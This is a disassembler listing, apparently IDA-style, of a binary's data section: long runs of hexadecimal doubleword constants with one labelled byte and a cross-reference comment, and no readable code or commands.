		dd 0B5683Ah, 0AC6B7BCEh, 14EAE01h, 9454FA3Ah, 61D85131h
		dd 7D85D480h, 0D1690364h, 906D90CCh, 1FE2124Ch,	8403FD18h
		dd 0E9B819C1h, 7E5FF193h, 0B001888Dh, 246A0911h, 0C529C265h
		dd 7627305Eh, 96FCE924h, 5D3A050Bh, 0BD33C190h,	816FD21h
		dd 484F1169h, 7ABF7821h, 6B35201Fh, 2F1AA594h, 19764CFEh
		dd 4F24B19Dh, 23664395h, 4FCB724Fh, 4A20C710h, 2044DC8h
		dd 40F11B9Fh, 5440F635h, 749DDA8Ah, 3095D453h, 8F3375h
		dd 0FAEC5DD6h, 7FCB916h, 74805AB3h, 0CED81118h,	270BB5F3h
		dd 2D1000D6h, 0E4BEB077h, 2B2B810Dh, 0DA03B96Fh, 0D590CAF4h
		dd 2ABB78E8h, 14E29E17h, 61EB5001h, 0A36CD22Bh,	1A21F480h
		dd 7901785Fh, 0D1CBABC1h, 6D6A299Ch, 0C0EC5A32h, 2CDB2E45h
		dd 0EDF84E06h, 8C1DA8D5h, 0CF8F0200h, 0AC06FC8Bh, 25572452h
		dd 77109BEh, 29618990h,	69CFF197h, 7B898835h, 0C1B882AEh
		dd 0F7F2290Fh, 7829DB9Fh, 383B8FB5h, 51E1092Eh,	0A16A02A8h
		dd 14C7772Dh, 97FDF845h, 0D54E1EB8h, 952FAFECh,	13FC2BE4h
		dd 5F2A1CB5h, 0B036B796h, 122884Ch, 4B9CEBCDh, 20373583h
		dd 715B1F42h, 0B99226E3h, 4AC6B872h, 88968801h,	0FF377000h
		dd 73757CF1h, 366B0315h, 0E3E68226h, 754E1E2h, 322D1CDCh
		dd 0B135C17Ah, 2B27AC71h, 404D95E0h, 0BF166602h, 53A25B3Dh
		dd 0EE037984h, 0A8149DEh, 2BFA9F1Dh, 4BDAB3E2h,	1FB1AA02h
		dd 21512CD4h, 0D4F75D2h, 0B3328A40h, 0C8604E05h, 1E017B47h
		dd 673CD488h, 0C13EDD96h, 2F2B03BAh, 0F4DFB301h, 0E82611Ch
		dd 0BB3D98Ch, 1E301AD4h, 9FFCEDD3h, 116F5A2h, 87EB6082h
		dd 916935DDh, 104D8216h, 0D1A3602Fh, 0F67C820Ch, 50FB53EBh
		dd 0A30374C2h, 9AA47139h, 0F7C80973h, 0F9605CB7h, 504B29D7h
		dd 372E66Fh, 55F054A6h,	0A8B19ED3h, 9E5E283Bh, 7910C780h
		dd 7D2A969h, 3034CAE0h,	5B3A8038h, 76C912EBh, 44E85D23h
		dd 0AB125868h, 2AAADC7h, 5B4876BEh, 0A77E2D78h,	29525707h
		dd 7E890195h, 1546DE1Fh, 8BBDB60Eh, 89E4A452h, 0F9A673B5h
		dd 7DB83097h, 95E90540h, 0FB968C56h, 285018A3h,	4FE1E60Ch
		dd 6FF8CD40h, 92AC483h,	1A058D8Fh, 0E2A5F6FBh, 60ED7CBCh
		dd 4B9BD0Bh, 89FE2BC4h,	0FD160BBDh, 0FB6BAF7Ch,	2E002457h
		dd 0D60DE9D3h, 795FFE43h, 80C591B8h, 2BC2EEF3h,	25B17EFBh
		dd 67019260h, 0D9B0318Bh, 0C6CFDB90h, 55697D7Eh, 86603DCDh
		dd 168EE10h, 1B393D2Eh,	8B028F0Fh, 40F88A23h, 7F3ED164h
		dd 78D5B326h, 4A0532DDh, 5C433CD0h, 8DDA0BFBh, 1D512B5Bh
		dd 55006418h, 0E5154D5Fh, 5FB018ADh, 50F34Eh, 42971A69h
		dd 7F8950C6h, 32C10037h, 92438A06h, 0D87D8B90h,	46F63BE9h
		dd 0CFA270B4h, 859DE484h, 3BC78086h, 42B9615Fh,	852107E9h
		dd 3D3F2ED9h, 799B2F53h, 7700EB92h, 28807D4Eh, 0A0469D33h
		dd 6469949Dh, 0AB533D20h, 2813C8h, 0AA8EF9DCh, 5FBB7CCFh
		dd 0C837514Fh, 615C7C89h, 0EF260BFh, 0EDBDF5BCh, 0E913C05Eh
		dd 3C026F4Dh, 9B1CFEBFh, 50497E7Ch, 7FE10444h, 0F6F0F9E6h
		dd 2126A1FBh, 0FD154ABDh, 4F11A3D9h, 1B86E67h, 8693F545h
		dd 0EE70B97Fh, 9B2B4E15h, 0C91AC887h, 0CD0E6D5h, 25C5BD2Bh
		dd 954E315Ch, 0D82E31B5h, 737EBBA8h, 9D031F8Ch,	0D376A779h
		dd 0E5C531E7h, 6F4231AFh, 0DE45CD59h, 5283EAB7h, 0B85C8B6Fh
		dd 2749BD09h, 2E61514h,	0B7A24500h, 6AA5D88Eh, 0D96C15BCh
		dd 808294AAh, 277E25D7h, 9D895661h, 5B36922Ah, 46D6AE7Eh
		dd 0F3C90218h, 7F018C7Fh, 0EB81BA18h, 83A8D60Eh, 98C7C026h
		dd 9F7322AEh, 3D5751ABh, 0AD7F007Bh, 85D5D31Ah,	0A2E58812h
		dd 958042E8h, 534581E3h, 3572B913h, 0A464802h, 666B7E74h
		dd 0AC259266h, 7EAE9A4Eh, 0C890872h, 203F4A24h,	0C2614F23h
		dd 1C7EF844h, 0C0106D2Fh, 97BE7E8Ch, 1B13C617h,	5D096987h
		dd 1812EBBBh, 2DBB03E9h, 4CDA3BEBh, 0AA688081h,	0F5FA4119h
		dd 0DD8A0122h, 0FE255879h, 46D66476h, 2BEA1615h, 1AAC73ADh
		dd 16B1078Ch, 0B8F8D61h, 115AE0F8h, 238B37EDh, 0AE07D184h
		dd 1AC8BFDBh, 3B8D40CEh, 4FF59958h, 0FF34C5BFh,	1E808ADEh
		dd 33522AC0h, 0D65BD10h, 27A1FE50h, 28E51F9Dh, 73E74113h
		dd 4DC8DCB0h, 901AD800h, 4BB70585h, 0D43FEB31h,	6E5C8003h
		dd 57E8967Ah, 7CB2B00h,	0CCB35650h, 6F20F75Bh, 0F6345B29h
		dd 301DF28Eh, 5900A511h, 0E5202D67h, 0C443608Ah, 0EE0D1382h
		dd 19C887DAh, 909DCAC0h, 0DBA3258Eh, 5A29AE76h,	53632756h
		dd 14C71E6h, 0F12F258Ah, 0AF7DC4C5h, 0EB4ED87Bh, 5D4C465Ah
		dd 0C70074E5h, 99A46EDCh, 8CA31359h, 8240FEE5h,	16B7BA17h
		dd 8A2C181Fh, 5BDAFE56h, 0EF03EC97h, 1285B36Ah,	37ADC6D9h
		dd 0CEDDECE9h, 3E51E2Fh, 0BAE9121Dh, 0DF675708h, 95D617A6h
		dd 8B027EF9h, 5F32E9D9h, 0DD4D0D89h, 22B53C2h, 54F22835h
		dd 0B25F8B0h, 7C926A69h, 8C39F4F8h, 0C48300A1h,	6E1BA6E3h
		dd 0B4604869h, 5A251D10h, 0B87C23B6h, 58199AECh, 0DA392890h
		dd 1DB5BA85h, 0E703BBD2h, 0FDF4B750h, 0F17786Bh, 21560587h
		dd 816C0018h, 6219BBDBh, 7B975178h, 0DC0A7A48h,	2022162Bh
		dd 19B6D249h, 5EDE819Ch, 0C17FE923h, 0DEB1C8Ch,	9BF6FCh
		dd 3C8384CCh, 0CE08C104h, 2FE52320h, 26C3F49Ah,	0B908AD94h
		dd 0E9CAC3Bh, 17E18509h, 0F0AAB494h, 0FBB76AA1h, 6ADA783Ch
		dd 95F27B5Bh, 0BF29CF00h, 5FBA6FDBh, 1B2D581Dh,	4A787A80h
		dd 0ED2FAA6Eh, 0D31AB63Ch, 568274E6h, 0B95F20D5h, 12218978h
		dd 0DA4A3778h, 0C01CC805h, 3977ABCDh, 0D0C1D01h, 0D1FFC5DBh
		dd 0F7B88039h, 0C20035F6h, 0F5600CFAh, 12290940h, 0FC2EFD9Dh
		dd 82E9E497h, 0A6F07156h, 0DE5E8B2Fh, 4A6AB0F0h, 0E003B602h
		dd 7F864EE2h, 8B182FCCh, 324A8CD6h, 0F257253Ch,	2FB7BFE8h
		dd 2402802h, 20EE8022h,	0B04EB5F3h, 0ECEE2579h,	0C14F6F56h
		dd 59BF37B0h, 2E25E3C4h, 0CD954311h, 10AD998h, 382EC4E9h
		dd 0C490DC5Dh, 0EB386D9Dh, 6A31E55Eh, 0A62F26C9h, 95BF0085h
		dd 177D8FA0h, 8DED4B6Eh, 2A900963h, 0FB92B7DBh,	374018D4h
		dd 976D0DB6h, 0F446126Fh, 252BE656h, 6D905F60h,	614BCE8Bh
		dd 1988069Bh, 801EC4h, 25907F67h, 0BA208D89h, 0BD295250h
		dd 5F8B2D54h, 168C5B4Bh, 6CCF2F80h, 689DD974h, 0FE2F3BAEh
		dd 0CD7C2F77h, 398BE16Fh, 622B09F0h, 812025F8h,	1C6505D7h
		dd 1B009CDh, 0E870E6F5h, 7187100Eh, 0D4972Ah, 1A015058h
		dd 0A533898Dh, 12B64377h, 0B4E25292h, 2B88F0F7h, 1725319Dh
		dd 21C8B6A3h, 0EF212AA2h, 0A02E5F53h, 0D1BD2AF5h, 250588C3h
		dd 7D090126h, 9F1591Eh,	0ED58FAB3h, 597C91B0h, 97C82B80h
		dd 48B5306h, 0FCC8D14Ah, 86E27Bh, 6EAB5E97h, 99191639h
		dd 0ED4C0400h, 2BD2E2F1h, 0B8E95E7Ch, 56F7C23Ah, 8D6BE05Ah
		dd 3F60810Ch, 0BDC20FB8h, 5F4E11B9h, 4282AA00h,	0BAF0A43h
		dd 80614B4Fh, 0F05BB04h, 103FEC36h, 77838262h, 4C99914Eh
		dd 13D3D880h, 483E36h, 6E6199DCh, 37349FD7h, 2AC89310h
		dd 5F018B02h, 2BD13AE9h
		dd 5723CD09h, 0D89D5864h, 52D395B4h, 57122191h,	6620FA31h
		dd 0A0A5835Fh, 4A80FE1Dh, 9550E4D7h, 10D284A4h,	471106B6h
		dd 4560402Ah, 361FA000h, 21C78AA2h, 9D1007EBh, 2233B6Eh
		dd 1840AC0Fh, 41B2886Ah, 30BAD94Bh, 2F398D77h, 0AA42B980h
		dd 0B5E818AFh, 0E57500A6h, 6A1F64CDh, 6300270Eh, 3BAF3A65h
		dd 645AD6B2h, 0B8FCEE05h, 0B8819F13h, 4237DD80h, 0B13F61F2h
		dd 0C7B05DFAh, 912D9529h, 4BC5D913h, 0D54931EDh, 4855885h
		dd 0FADB2BCBh, 3D2B568Dh, 29A77103h, 0EFB879h, 0D6706143h
		dd 11369C88h, 72E98E5Eh, 55C67A9h, 0AF5D6B2Ah, 0FB53D71Dh
		dd 0F8D94ECDh, 0DE61202Ah, 9905E45Dh, 0AA83CA19h, 0C08221ABh
		dd 71B0C4E1h, 5F059D00h, 0FA0140BDh, 50D4F2C9h,	380490F7h
		dd 8DCB5BB2h, 25748903h, 5ADE5903h, 4D9FE4D8h, 34ACC033h
		dd 2A04F542h, 0C51D4835h, 7CA2D9ACh, 0C380915Bh, 0EED2B7C6h
		dd 8C4400B0h, 108220D4h, 9C02F96Ah, 0A4533AB1h,	4C2E462Ch
		dd 192A1A60h, 0DD614A9Fh, 0A9C63DD1h, 6EFA8E84h, 4A72F81Ah
		dd 0E69317E9h, 6217A2C0h, 484464Bh, 9E1166EEh, 0A1BFAC14h
		dd 7A3B0478h, 0EB1117BDh, 0CCA45200h, 9BF3A5Fh,	6F1DF8E4h
		dd 5E46C859h, 2542906Bh, 0F6F124A5h, 232778CFh,	0B31D5B9Dh
		dd 0C0F64EDDh, 0E45E72A2h, 0B0133540h, 0CC660073h, 39826B61h
		dd 11A864F2h, 0A6131B5Eh, 0E8B87FC3h, 0D558AAC9h, 5483E295h
		dd 6DBF01D6h, 934217Bh,	7E75A13Eh, 0FAF0D5F6h, 0E828172Ch
		dd 81000B13h, 4F505C3Bh, 75637014h, 0CA80007Ch,	82B7F6D4h
		dd 609F328Dh, 4AE859A2h, 0BBC08C5Bh, 250EF03Ch,	0BEEF6E7Ch
		dd 562FD426h, 4AB70AEh,	738EE0B6h, 0FA6EC3E4h, 90FF0613h
		dd 32BB1F16h, 66F5470Fh, 5413EE0h, 0F6906D93h, 0E8F2E31Dh
		dd 74BE742Fh, 0BAC197CDh, 5F5678D9h, 0A8A07CE7h, 9D707A02h
		dd 0EBE03919h, 7EA3D56h, 90DDC531h, 0CCAF68B4h,	0FF106928h
		dd 0FA80F94Ah, 0F576CF50h, 16800D78h, 6E7338FAh, 2EB3138h
		dd 4341A007h, 0A2CE5593h, 0CE1CF125h, 5F317603h, 12F3B9C1h
		dd 499E0226h, 0D6F5C680h, 8C4B937Bh, 16B21EF6h,	4BEC2630h
		dd 601E8C55h, 8D295104h, 0A4FB1615h, 11259EDBh,	0E620C661h
		dd 436F12E9h, 322E347h,	74A8E781h, 5789BAFBh, 0C0E05ECDh
		dd 1C08C5F2h, 87B5E292h, 5B03602Eh, 0B2A62157h,	0B741619Bh
		dd 0CA6E018Dh, 0BCF93DECh, 13B4CA95h, 0AB464A89h, 1D00FE6Eh
		dd 0DA6FDFAh, 502D96DDh, 7082F452h, 3205771Eh, 310FDEACh
		dd 0B04B8FB8h, 1044E951h, 5C1400FBh, 0BA0F17Bh,	630071FEh
		dd 99C4614Fh, 0B496DF39h, 4105DC8Bh, 1A606B2Fh,	35E7B8Ch
		dd 9E573523h, 0C8E8E002h, 1300922Bh, 0B2FD6E27h, 5A268658h
		dd 8363C8D2h, 469B2000h, 0F4AD0928h, 2A387777h,	61797Fh
		dd 1462E89Fh, 4A988565h, 0E5C70E00h, 57FA8F07h,	8D5F4B3Dh
		dd 0A7F02FCCh, 812A40D5h, 0BCDFE304h, 268076C3h, 95024D9Dh
		dd 60C129D9h, 902B8DB4h, 8B754595h, 8A57FBC5h, 5FC263B1h
		dd 635A19B1h, 1E5558C3h, 4D673B61h, 6E34C0A4h, 0B53F296Ch
		dd 82F7CB35h, 7193093Bh, 0F209D71Eh, 35FF506Eh,	801A11F8h
		dd 97D33C40h, 0D8F22785h, 0F01D7E4h, 0FF21935Eh, 383613BBh
		dd 0EC3DC04Fh, 7C9D6190h, 0B65949D0h, 0D4EAF6E9h, 0F94AF4FEh
		dd 3338D2CAh, 0EEC8759h, 8555612Eh, 0CB33A509h,	1A235078h
		dd 0A5E8BF9Dh, 614BC38Ah, 5EBA0FF3h, 0C501506Ah, 14A87921h
		dd 0A4DF026Bh, 7ABA2F8Ch, 0B34803C0h, 0EDFA8AD7h, 2D628Ch
		dd 0E065C12Bh, 0CDA93A67h, 0FA773FEAh, 4FF51497h, 0E07AFF7Eh
		dd 634EC904h, 341D8E02h, 0A6AF5A51h, 4D73E793h,	60FD8AA8h
		dd 0BD1CE5FFh, 125CB779h, 8A03D31h, 74A5553Dh, 1984CF5Dh
		dd 25802827h, 0E3C6ADD3h, 5DCF2BCh, 78B83723h, 0FC20AE38h
		dd 3F155C6Eh, 6A85857Eh, 0B29603AAh, 0FD69000Eh, 27B4CE93h
		dd 0FB73CF9h, 40B7F85Fh, 53006020h, 7270BA5Eh, 6261277Fh
		dd 0D1DC896h, 17C9A94h,	220A092Fh, 5F047976h, 907524BAh
		dd 0B460C4Bh, 5BB604DBh, 46D6157Eh, 57D60919h, 0DB89DF89h
		dd 58A4EF5Bh, 974DE0D6h, 7C5BD609h, 4404CD8h, 0F850E6C6h
		dd 58A5E35Bh, 2EAD16EBh, 0A996ABF9h, 723DA973h,	530CBBD3h
		dd 5650652Dh, 0FAB42C20h, 0C85E78B6h, 0D500CFC4h, 9B78E1D9h
		dd 41CDB3Eh, 9AB839E8h,	6274BFAFh, 0C4A829ADh, 0C09EA500h
		dd 58F021AAh, 0DD0E5834h, 0F6488012h, 301AB244h, 5706B599h
		dd 0E56F4C1Eh, 0D88B2544h, 5470F1h, 0CA9C5C27h,	9ED13D28h
		dd 0E9B95475h, 0B1F8B81h, 0BB78635Fh, 5C6300D6h, 5039CB2Ah
		dd 0F2A2605Ah, 2256FB00h, 8F1F35Bh, 283F1E02h, 0D5927C58h
		dd 66FE8A44h, 742D4FBCh, 0BFDF458Dh, 17232D6Bh,	8C3A7002h
		dd 0F48275F2h, 4A5EB894h, 45207169h, 2B7BAA57h,	56B66A01h
		dd 30A8E2B7h, 2D41512Ah, 152C9071h, 1F562E80h, 0D970F26Ch
		dd 41D02509h, 0D6A37593h, 0C02F5B7h, 0BAC6FCBBh, 0DD6A5D28h
		dd 2704DD7Eh, 1FEA9655h, 0C1FBAD08h, 0FE181B79h, 728ADF00h
		dd 92B23FE8h, 0A7BAB1F5h, 718B8975h, 5F03543Ah,	31D63B53h
		dd 95A1063h, 0DFEF4827h, 0F2E07FFh, 30035E6Ah, 0B7DC4F94h
		dd 0AE52E136h, 0B4A3F1E7h, 4B1D5430h, 0D2C6F234h, 3FA908F9h
		dd 885B75F3h, 507FB34h,	58555F6Dh, 0CD2A3DE0h, 29CB0963h
		dd 84795383h, 10542444h, 0A044C4C0h, 303AC064h,	0F22578D4h
		dd 450E601h, 2B7943BBh,	7F4CBC05h, 3792C9FCh, 0B32B1E97h
		dd 0BE6E582Bh, 601E072Fh, 80134540h, 0E0971CE9h, 0E8F781A3h
		dd 7DBC2DA7h, 8F423EF8h, 5BD290Eh, 9D090510h, 70BF2545h
		dd 0E62ABB44h, 5053E813h, 0A6800EF9h, 5C6B190h,	4694A02h
		dd 5821A31Ch, 0ED5F5B6Ah, 0E0A9978Eh, 6500CEB8h, 0DD4A71A7h
		dd 0BF6EB309h, 0E04EE1CFh, 0DCBB2A5Bh, 0E3742782h, 722D4356h
		dd 0C8F39578h, 0DD67F97Bh, 0C6359841h, 9DBC802Bh, 0E4B72C75h
		dd 90FC2E88h, 228B1C70h, 0A81230F1h, 0DE6A2A25h, 1900DE39h
		dd 0BF58317Dh, 4CA096F0h, 0D1C50706h, 0BB6C0222h, 0DB624969h
		dd 5B69BB56h, 0BF35A7B5h, 3209D30Fh, 17913A04h,	6296BF00h
		dd 0FF2D4258h, 1CD9B7D1h, 0F8B500C9h, 0ADA26B41h, 2FD641B7h
		dd 42B8382Eh, 4D046BFh,	0B589026Ah, 4033BCB9h, 84583BAh
		dd 25CFB62Eh, 420DFEFEh, 0BA5528A9h, 4671C8h, 0F6EBEFDBh
		dd 0C48649Ch, 7B9B3B86h, 2D126A07h, 2660581Dh, 4B81E95Dh
		dd 10638B0Fh, 15F8C63Fh, 0B2A4018Ch, 21BD0160h,	3CC87F08h
		dd 2E618111h, 0DD04E36Eh, 8473E778h, 14D5FB83h,	23256BBEh
		dd 0BA490118h, 3A6A66E9h, 0BF00F7F3h, 377A1068h, 0A0958531h
		dd 25DB8103h, 731E01ADh, 0DF59BB90h, 0D850E530h, 953E16A4h
		dd 0FA8B1251h, 23976EBBh, 0AD311215h, 0FFF8C9B0h, 33B053C6h
		dd 0FB6A0740h, 0DCF03236h, 0A33E70D4h, 76F71615h, 23E18C04h
		dd 0BC5A9CB9h, 0FB43A04Bh, 5028FCBCh, 458C388h,	0FC4D2463h
		dd 88AAB960h, 1E74A75Bh, 41D38100h, 25270474h, 0CE5070E6h
		dd 0A46B3041h, 0A46114Ah, 92973A22h, 0D790D7E3h, 7300A2A9h
		dd 8EC9E158h, 12A440FAh, 0E1C52FFBh, 0F5AC41A7h, 0B63B18h
		dd 4CABA84Ah, 2562D2Bh,	0C1A3198h, 2740A190h, 0ECD29D61h
		dd 0DDAD46C9h, 800FEC18h, 604F1E64h, 8980E7A8h,	0E47CCAB8h
		dd 1F68DE3Eh, 78F0A395h, 5E3D31C8h, 2966E65Bh, 4280AEE9h
		dd 38A53658h, 153D0104h
		dd 0EA26CE95h, 2FF8D78Eh, 2B052143h, 0FE8A60C8h, 0DC12CC0Bh
		dd 2F9E0E9h, 0B2074161h, 367B4BB4h, 95AB3B11h, 90D18BECh
		dd 29C14418h, 21546DF6h, 43D387D4h, 0DADE9430h,	51F7002Ch
		dd 0F94CB0E6h, 0D1A2CC9Eh, 5B77157Ah, 9539E49Fh, 0D14DF490h
		dd 0DC9C0E0Fh, 0BF1760ADh
		db 6Eh,	0FEh, 0F7h
byte_544547	db 5Bh			; DATA XREF: ___:off_445248o
		dd 105BF223h, 0F9C90C75h, 0E44F772h, 0A5BB0052h, 5F327109h
		dd 829937E9h, 0FF8D1AB9h, 29D90E03h, 11E17310h,	322B4D20h
		dd 8CA51F17h, 629D441Bh, 95893951h, 1BB75E82h, 4C1E05Ch
		dd 2E371943h, 0AAA401A0h, 9096FD25h, 0C2845Bh, 27654EF3h
		dd 6C14CB40h, 1169107h,	4A0278F0h, 2680E086h, 6B2A1AE0h
		dd 0B8537C5Fh, 9D0270h,	0A2D60AD8h, 0D1DDE2EAh,	0FE07DE97h
		dd 4FBBDB02h, 507CA349h, 6B15417Ch, 91476F3h, 0B984CDBDh
		dd 60929243h, 333818F7h, 1A552F95h, 8982217Bh, 421E98Dh
		dd 5956BC61h, 2794BC75h, 1E44541Bh, 0FCB0B600h,	0A86DC4F5h
		dd 0F22900C8h, 440122F4h, 374C200Fh, 0AC18C073h, 2FD1FCh
		dd 7CA7DA7Bh, 6EAAD7D3h, 6F5BCA2Ch, 28135988h, 22532ADh
		dd 7FFFCB3h, 6F09B89Ch,	0DAB460FBh, 7120AE3Ah, 9502FEB3h
		dd 0BC7C2E76h, 0AFE0E3AEh, 301C99F1h, 42134EC7h, 0AF3069B6h
		dd 9B9D15Eh, 0ED057B10h, 1719C5FFh, 0FC06A959h,	39058C14h
		dd 25699531h, 4A1B8AAFh, 0EF8F449Ah, 0FFF5D980h, 0D609B92Fh
		dd 0A9B59D23h, 0D681FE02h, 0E94E1846h, 904D2F19h, 41B5617h
		dd 252F5B3Eh, 0D674AEE5h, 0AAA52DE6h, 5F2081A1h, 9B8B95A1h
		dd 6868975Dh, 2B856069h, 795AEFD9h, 0EBE094B6h,	464EF5B6h
		dd 9C2D0C8Ah, 7F8409BDh, 80F828CCh, 5A1CC910h, 0CA7A90A1h
		dd 4EB8386Dh, 15EC84ADh, 65194A00h, 9A8B2D48h, 20EE90B0h
		dd 3762585h, 9774FABDh,	0AD7B4CBAh, 74082050h, 5E0E14E7h
		dd 7131F25Ch, 60E1FF69h, 3BE765CBh, 7F8845E3h, 4940CF61h
		dd 9888220Bh, 27C1278Dh, 3F110947h, 8ABB6602h, 0CCDE601Ah
		dd 0FC8E5ADCh, 0C8F604D3h, 0ECBC1B14h, 0DDE31C79h, 122A1232h
		dd 0BB8D16C0h, 89E63C64h, 0B99AAAA0h, 8D4E4B13h, 4A2F11A4h
		dd 0E8EAAD01h, 44C7B86Ch, 0F4A1600Eh, 0D509C22Dh, 0DB9D34C4h
		dd 18197134h, 0D93204F2h, 870E5FC0h, 0A8FCBB69h, 92F8142h
		dd 0C898DB2h, 76A7FF5Eh, 1646D64Dh, 5074C05Ah, 219C1AB7h
		dd 79950902h, 812A8006h, 2559B8C7h, 0EC57D8Ah, 0CE45112Fh
		dd 6BBCF57Eh, 50D9D8B1h, 606FF62Bh, 7FB46081h, 7C68A0E8h
		dd 0CCC80FD5h, 0D0778483h, 17FF6DAAh, 5ADC00Eh,	68A9212Fh
		dd 0B9455B5Ah, 3EE84E44h, 0F9E860C9h, 0FF899758h, 130B94DDh
		dd 853EE9FCh, 316F96h, 542FE4FBh, 1789438Bh, 0A92351B5h
		dd 0CF8D218h, 0A15B05D3h, 0DFDBEE2Ah, 98C470D2h, 2AE5160Bh
		dd 85CBEEC0h, 0FF8997D1h, 8E27BD5Dh, 3C689D0Fh,	0DCF2C160h
		dd 0D5240BABh, 0FC01CFA0h, 7AB22064h, 268135A0h, 9AFED72h
		dd 3ADF189Dh, 0F790F72Bh, 903EE1C1h, 0DFB68022h, 702072B2h
		dd 4386001Fh, 73FB18AEh, 71903AC3h, 5B4BD567h, 0E0896D7Bh
		dd 7DEBD25h, 4DBDFE77h,	60196437h, 13BBFB20h, 0C129052Fh
		dd 2F0446ACh, 0BF80D79Bh, 6DB52927h, 5CD92A44h,	35C0A996h
		dd 10568921h, 0C11E48h,	59850C15h, 1684B307h, 0C08A16F8h
		dd 8214BF53h, 0F1D770Bh, 3B1AD531h, 0B79966D7h,	5D74AE2h
		dd 74EA0B7Fh, 7A01BA4Ah, 0FEB38EBEh, 50C0E622h,	0B5A535BFh
		dd 0D18B1A35h, 8F8E65Dh, 8105880Fh, 4CF77BBFh, 4E5D2277h
		dd 0CBA7C8h, 9A6503BAh,	2240884Ah, 0E7641507h, 8F937B3Fh
		dd 5BCF8887h, 434AB458h, 0AF808368h, 0E000C321h, 0BC4EB95h
		dd 29F9982h, 4062446h, 0FC5E7A73h, 0EFC78061h, 55808F47h
		dd 4B135C47h, 0ECF2FD5Fh, 0F7B50039h, 66BD3660h, 0FA5ED0BFh
		dd 14B249A6h, 33015F32h, 3B61562Ah, 0B502296Eh,	0B926EFA0h
		dd 0F37A2674h, 0B7E9508Bh, 0B271FF14h, 78BB09F2h, 451079B4h
		dd 3D13F739h, 368B002Dh, 9B08E486h, 459F25EEh, 0D3940B5Dh
		dd 915678C7h, 0B355858h, 5FE1E9C1h, 0ECFAA435h,	0BA1C0460h
		dd 0AF23BDCEh, 0F62E65F5h, 0D3D7E040h, 0DFAE0080h, 98BB487Ah
		dd 464EE60Ah, 3122228Ah, 0CB80F90Ah, 2059F62Bh,	11D523A5h
		dd 202FE84Ah, 0CF593D61h, 0F7ADB53Dh, 8FB0F14Ah, 2A5B8110h
		dd 6BA0E3CAh, 390BD00Dh, 0E6CBFB10h, 18849FEBh,	0C005E904h
		dd 1B4319BFh, 0EFC462Ch, 72418529h, 56C4EBBDh, 138BAC5Bh
		dd 0DF2DA8Bh, 0E6800588h, 3F103D61h, 89570596h,	710CF9BDh
		dd 6C810F74h, 5934A081h, 1D9900B0h, 0B4F653ACh,	9E173D6Fh
		dd 6BBE7BE8h, 51E575Ch,	3B3EFBB5h, 4DC404BBh, 7F1131Ah
		dd 6FAB8014h, 3A18057Bh, 5EC38CE4h, 0A2ABF4F1h,	6F6A97C3h
		dd 0F9ED047Dh, 0E8C81D9Dh, 4EB74F06h, 3CEF25B1h, 71125EA8h
		dd 236D6BFBh, 8F80381Ch, 5B0E96E6h, 3809289Fh, 0DF1BDF80h
		dd 0D7814F20h, 0B9D7A0Dh, 71C8FB04h, 0EA302FF3h, 9FC19D0Bh
		dd 86276B72h, 0F69B56B8h, 2022DFEh, 0F3C8B28Dh,	0FDFEC057h
		dd 815B801Ch, 9A95E73Ch, 0B76017D1h, 0B42980CDh, 0B952A6F8h
		dd 0F49FD377h, 0F871AFEAh, 0A3A50300h, 2CFD78h,	61F2E4E0h
		dd 295B191h, 99BCE54Fh,	0FF54A44Bh, 0F099B523h,	73124361h
		dd 704630Bh, 9D4E251Dh,	7E532BA9h, 0BB088992h, 0FC912219h
		dd 7A508908h, 16E54688h, 0B0786617h, 1B05B7C4h,	600B8CA9h
		dd 0A42F55CDh, 0BD001798h, 0AE039548h, 1B445D8h, 0D4024A34h
		dd 289ADF8Eh, 90EA96ABh, 1A4263D1h, 357FB200h, 0C154BD0Bh
		dd 3B2D16F8h, 6024EF38h, 2EC2A1DBh, 0E5C0D002h,	0B1AC2761h
		dd 22DD565Ch, 136CB004h, 0A35BF25Ch, 0CF81014Ah, 2BA25792h
		dd 2E50283Ah, 25213389h, 31602E51h, 0A45089DDh,	17D98B53h
		dd 0AF966159h, 0EF2BD330h, 809A007Bh, 0BFDCC96Fh, 6E1798D8h
		dd 9EEC5F0Fh, 0E92FFD12h, 8C19BC5Dh, 412F7700h,	23FBF670h
		dd 0E4E15F9Dh, 0AD27BDAAh, 80274E10h, 0B5E96B85h, 0B55417F9h
		dd 355F21ABh, 0F530A514h, 6009853Dh, 7DF921B4h,	0CF12D16Ch
		dd 0E5F290EFh, 0F0A53A88h, 5F758107h, 0E1DD352Fh, 0E4096ECEh
		dd 0F13DF5C6h, 2653909h, 5D2749A0h, 0C40B234Dh,	9BCD5DF1h
		dd 0C85101E0h, 0EF4B0028h, 0ACF7211Bh, 59ADC18Bh, 66BDBF62h
		dd 658E0053h, 0AE89E967h, 83592C86h, 0BD2B8250h, 5869E4C9h
		dd 28277E09h, 5BA0204Eh, 50811A49h, 6E0F9173h, 0EE572B2Ch
		dd 87B35C21h, 7BF2F53Eh, 1780AB9Bh, 396437EFh, 0B12CFC0Bh
		dd 40F8EF2Ah, 0CB2B9FD4h, 0CA52510Fh, 6AB7640Eh, 0DD2CDBBEh
		dd 38A4DFC2h, 810840EDh, 1094A41Ch, 4019D742h, 129D14A0h
		dd 44AB551Ch, 0C1607DDEh, 2326AFBh, 29D4A3E1h, 0C348A586h
		dd 882DEF80h, 17127A5Bh, 0BEF0A1F3h, 5EF98E62h,	355FE9FCh
		dd 0EE770EC7h, 891DC76Eh, 8D842631h, 70C4AAD1h,	7EA2D1B8h
		dd 0ED026A22h, 0FBF1E989h, 0B7B4F0AFh, 4D0305FBh, 0DA1EABB9h
		dd 4E97FC31h, 0B0C4B2C0h, 0C0021F5Ah, 0A2CCB965h, 785E5078h
		dd 0DB905AB3h, 62358F78h, 0CC4008F3h, 8B60019Ah, 550EB8CFh
		dd 0BB506035h, 0D91E2401h, 104AE975h, 4C0D2C3Ah, 1DE2D743h
		dd 7EAD30h, 0D329BBEDh,	90CBDC12h, 71F98A2Dh, 0E91354C9h
		dd 0E5B075E4h, 876500BFh, 0B3905C60h, 0F5A35083h, 0C0C0DBB5h
		dd 54ECF7E1h, 6D612576h, 8012EDECh, 0D3F109DFh,	18A7E3Bh
		dd 61FD1712h, 0C61572Ah, 69C4066Ch, 5C5F0B1Ah, 81F4EB90h
		dd 0A93301DCh, 17478B4h, 389360A6h, 4E214A40h, 0E8BEF929h
		dd 2290938h, 966420B1h,	536AE200h, 0B9719414h, 259E0670h
		dd 0DCEFAAAEh, 49E59D5Ah, 351D622Fh, 95A55029h,	5D08DB74h
		dd 1FE0252Ah, 0E42018Dh, 0BD25C44Eh, 53897B1Ch,	64804378h
		dd 0EA3FD063h, 94E87D5Eh
